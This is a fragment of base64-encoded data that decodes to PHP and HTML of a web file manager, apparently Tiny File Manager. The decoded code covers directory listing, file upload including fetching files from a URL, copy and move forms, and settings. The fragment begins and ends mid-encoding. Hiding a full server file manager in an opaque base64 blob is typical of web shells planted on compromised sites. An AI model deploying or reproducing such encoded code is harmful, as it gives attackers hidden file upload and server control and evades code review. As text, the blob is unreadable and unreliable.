NCmlmIChpc19hcnJheSgkb2JqZWN0cykgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkY3VycmVudF9wYXRoKSkgew0KICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7DQogICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgew0KICAgICAgICAgICAgY29udGludWU7fQ0KICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykgew0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIH0NCiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsNCiAgICAgICAgaWYgKEBpc19maWxlKCRuZXdfcGF0aCkgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkpIHsNCiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7DQogICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkpIHsNCiAgICAgICAgICAgICRmb2xkZXJzW10gPSAkZmlsZTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KaWYgKCFlbXB0eSgkZmlsZXMpKSB7DQogICAgbmF0Y2FzZXNvcnQoJGZpbGVzKTsNCn0NCmlmICghZW1wdHkoJGZvbGRlcnMpKSB7DQogICAgbmF0Y2FzZXNvcnQoJGZvbGRlcnMpOw0KfQ0KDQovLyB1cGxvYWQgZm9ybQ0KaWYgKGlzc2V0KCRfR0VUWyd1cGxvYWQnXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSDQogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoDQogICAgLy9nZXQgdGhlIGFsbG93ZWQgZmlsZSBleHRlbnNpb25zDQogICAgZnVuY3Rpb24gZ2V0VXBsb2FkRXh0KCkgew0KICAgICAgICAkZXh0QXJyID0gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pOw0KICAgICAgICBpZihGTV9VUExPQURfRVhURU5TSU9OICYmICRleHRBcnIpIHsNCiAgICAgICAgICAgIGFycmF5X3dhbGsoJGV4dEFyciwgZnVuY3Rpb24oJiR4KSB7JHggPSAiLiR4Ijt9KTsNCiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcsJywgJGV4dEFycik7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICA/Pg0KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZHJvcHpvbmUnKTsgPz4NCiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIgZm0tdXBsb2FkLXdyYXBwZXIgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2IG5hdi10YWJzIGNhcmQtaGVhZGVyLXRhYnMiPg0KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiNmaWxlVXBsb2FkZXIiIGRhdGEtdGFyZ2V0PSIjZmlsZVVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXAiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VwbG9hZGluZ0ZpbGVzJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjdXJsVXBsb2FkZXIiIGNsYXNzPSJqcy11cmwtdXBsb2FkIiBkYXRhLXRhcmdldD0iI3VybFVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtbGluayI+PC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkIGZyb20gVVJMJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY2FyZC10ZXh0Ij4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0iZmxvYXQtcmlnaHQiPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKT8+PC9hPg0KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+PC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9QQVRIKSkgPz4NCiAgICAgICAgICAgICAgICA8L3A+DQoNCiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhGTV9TRUxGX1VSTCkgLiAnP3A9JyAuIGZtX2VuYyhGTV9QQVRIKSA/PiIgY2xhc3M9ImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXIiIGlkPSJmaWxlVXBsb2FkZXIiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdWxscGF0aCIgaWQ9ImZ1bGxwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZhbGxiYWNrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiBtdWx0aXBsZS8+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVwbG9hZC11cmwtd3JhcHBlciBjYXJkLXRhYnMtY29udGFpbmVyIGhpZGRlbiIgaWQ9InVybFVwbG9hZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImpzLWZvcm0tdXJsLXVwbG9hZCIgY2xhc3M9InJvdyByb3ctY29scy1sZy1hdXRvIGctMyBhbGlnbi1pdGVtcy1jZW50ZXIiIG9uc3VibWl0PSJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpOyIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0idXBsb2FkIiBhcmlhLWxhYmVsPSJoaWRkZW4iIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ1cmwiIHBsYWNlaG9sZGVyPSJVUkwiIG5hbWU9InVwbG9hZHVybCIgcmVxdWlyZWQgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOiA4MCUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgbXMtMyI+PD9waHAgZWNobyBsbmcoJ1VwbG9hZCcpID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZHMtZmFjZWJvb2siPjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImpzLXVybC11cGxvYWRfX2xpc3QiIGNsYXNzPSJjb2wtOSBtdC0zIj48L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz4NCiAgICA8c2NyaXB0Pg0KICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHsNCiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLA0KICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PiwNCiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsDQogICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSwNCiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsDQogICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsDQogICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsDQogICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsDQogICAgICAgICAgICBtYXhGaWxlc2l6ZTogIjw/cGhwIGVjaG8gTUFYX1VQTE9BRF9TSVpFOyA/PiIsDQogICAgICAgICAgICBhY2NlcHRlZEZpbGVzIDogIjw/cGhwIGVjaG8gZ2V0VXBsb2FkRXh0KCkgPz4iLA0KICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgIHRoaXMub24oInNlbmRpbmciLCBmdW5jdGlvbiAoZmlsZSwgeGhyLCBmb3JtRGF0YSkgew0KICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZnVsbHBhdGgiKS52YWx1ZSA9IF9wYXRoOw0KICAgICAgICAgICAgICAgICAgICB4aHIub250aW1lb3V0ID0gKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoJ0Vycm9yOiBTZXJ2ZXIgVGltZW91dCcpOw0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9KS5vbigic3VjY2VzcyIsIGZ1bmN0aW9uIChyZXMpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihfcmVzcG9uc2Uuc3RhdHVzID09ICJlcnJvciIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCJFcnJvcjogSW52YWxpZCBKU09OIHJlc3BvbnNlIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9KS5vbigiZXJyb3IiLCBmdW5jdGlvbihmaWxlLCByZXNwb25zZSkgew0KICAgICAgICAgICAgICAgICAgICB0b2FzdChyZXNwb25zZSk7DQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICA8L3NjcmlwdD4NCiAgICA8P3BocA0KICAgIGZtX3Nob3dfZm9vdGVyKCk7DQogICAgZXhpdDsNCn0NCg0KLy8gY29weSBmb3JtIFBPU1QNCmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7DQogICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpOw0KICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQogICAgfQ0KDQogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSDQogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoDQogICAgPz4NCiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciI+DQogICAgICAgICAgICAgICAgPGg2Pjw/cGhwIGVjaG8gbG5nKCdDb3B5aW5nJykgPz48L2g2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPg0KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaW5pc2giIHZhbHVlPSIxIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGNvcHlfZmlsZXMgYXMgJGNmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlW10iIHZhbHVlPSInIC4gZm1fZW5jKCRjZikgLiAnIj4nIC4gUEhQX0VPTDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJlYWstd29yZCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/Pjwvc3Ryb25nPjogPGI+PD9waHAgZWNobyBpbXBsb2RlKCc8L2I+LCA8Yj4nLCAkY29weV9maWxlcykgPz48L2I+PC9wPg0KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJlYWstd29yZCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48L3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuIEZNX1BBVEgpKSA/Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucF9jb3B5X3RvIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+PC9zdHJvbmc+OjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/Pi88aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29weV90byIgaWQ9ImlucF9jb3B5X3RvIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJjdXN0b20tY2hlY2tib3ggY3VzdG9tLWNvbnRyb2wiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibW92ZSIgdmFsdWU9IjEiIGlkPSJqcy1tb3ZlLWZpbGVzIiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiPjxsYWJlbCBmb3I9ImpzLW1vdmUtZmlsZXMiIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yIj4gPD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjwvbGFiZWw+PC9wPg0KICAgICAgICAgICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWRhbmdlciI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2E+PC9iPiZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PjwvYnV0dG9uPiANCiAgICAgICAgICAgICAgICAgICAgPC9wPg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8P3BocA0KICAgIGZtX3Nob3dfZm9vdGVyKCk7DQogICAgZXhpdDsNCn0NCg0KLy8gY29weSBmb3JtDQppZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgJGNvcHkgPSAkX0dFVFsnY29weSddOw0KICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7DQogICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnLycgLiAkY29weSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOw0KICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQogICAgfQ0KDQogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSDQogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoDQogICAgPz4NCiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4NCiAgICAgICAgPHA+PGI+Q29weWluZzwvYj48L3A+PHAgY2xhc3M9ImJyZWFrLXdvcmQiPg0KICAgICAgICAgICAgPHN0cm9uZz5Tb3VyY2UgcGF0aDo8L3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSA/Pjxicj4NCiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnLycgLiBGTV9QQVRIKSkgPz4NCiAgICAgICAgPC9wPg0KICAgICAgICA8cD4NCiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiZhbXA7ZmluaXNoPTEiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gQ29weTwvYT48L2I+ICZuYnNwOw0KICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+JmFtcDtmaW5pc2g9MSZhbXA7bW92ZT0xIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IE1vdmU8L2E+PC9iPiAmbmJzcDsNCiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+IiBjbGFzcz0idGV4dC1kYW5nZXIiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gQ2FuY2VsPC9hPjwvYj4NCiAgICAgICAgPC9wPg0KICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PC9pPjwvcD4NCiAgICAgICAgPHVsIGNsYXNzPSJmb2xkZXJzIGJyZWFrLXdvcmQiPg0KICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRwYXJlbnQpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQiPjwvaT4gLi48L2E+PC9saT4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHsNCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWZvbGRlci1vIj48L2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PC9hPjwvbGk+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgID8+DQogICAgICAgIDwvdWw+DQogICAgPC9kaXY+DQogICAgPD9waHANCiAgICBmbV9zaG93X2Zvb3RlcigpOw0KICAgIGV4aXQ7DQp9DQoNCmlmIChpc3NldCgkX0dFVFsnc2V0dGluZ3MnXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSDQogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoDQogICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0Ow0KICAgID8+DQoNCiAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4NCiAgICAgICAgICAgIDxoNiBjbGFzcz0iY2FyZC1oZWFkZXIgZC1mbGV4IGp1c3RpZnktY29udGVudC1iZXR3ZWVuIj4NCiAgICAgICAgICAgICAgICA8c3Bhbj48aSBjbGFzcz0iZmEgZmEtY29nIj48L2k+ICA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/Pjwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIEZNX1BBVEggPz4iIGNsYXNzPSJ0ZXh0LWRhbmdlciI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKT8+PC9hPg0KICAgICAgICAgICAgPC9oNj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+DQogICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImpzLXNldHRpbmdzLWZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGRhdGEtdHlwZT0iYWpheCIgb25zdWJtaXQ9InJldHVybiBzYXZlX3NldHRpbmdzKHRoaXMpIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9InNldHRpbmdzIiBhcmlhLWxhYmVsPSJoaWRkZW4iIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtbGFuZ3VhZ2UiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ0xhbmd1YWdlJykgPz48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tc2VsZWN0IiBpZD0ianMtbGFuZ3VhZ2UiIG5hbWU9ImpzLWxhbmd1YWdlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0U2VsZWN0ZWQoJGwpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdsb2JhbCAkbGFuZzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAoJGxhbmcgPT0gJGwpID8gJ3NlbGVjdGVkJyA6ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRsYW5nX2xpc3QgYXMgJGsgPT4gJHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyRrJyAiLmdldFNlbGVjdGVkKCRrKS4iPiR2PC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtdC0zIG1iLTMgcm93ICI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1lcnJvci1yZXBvcnQiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ0Vycm9yUmVwb3J0aW5nJykgPz48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJjaGVja2JveCIgcm9sZT0ic3dpdGNoIiBpZD0ianMtZXJyb3ItcmVwb3J0IiBuYW1lPSJqcy1lcnJvci1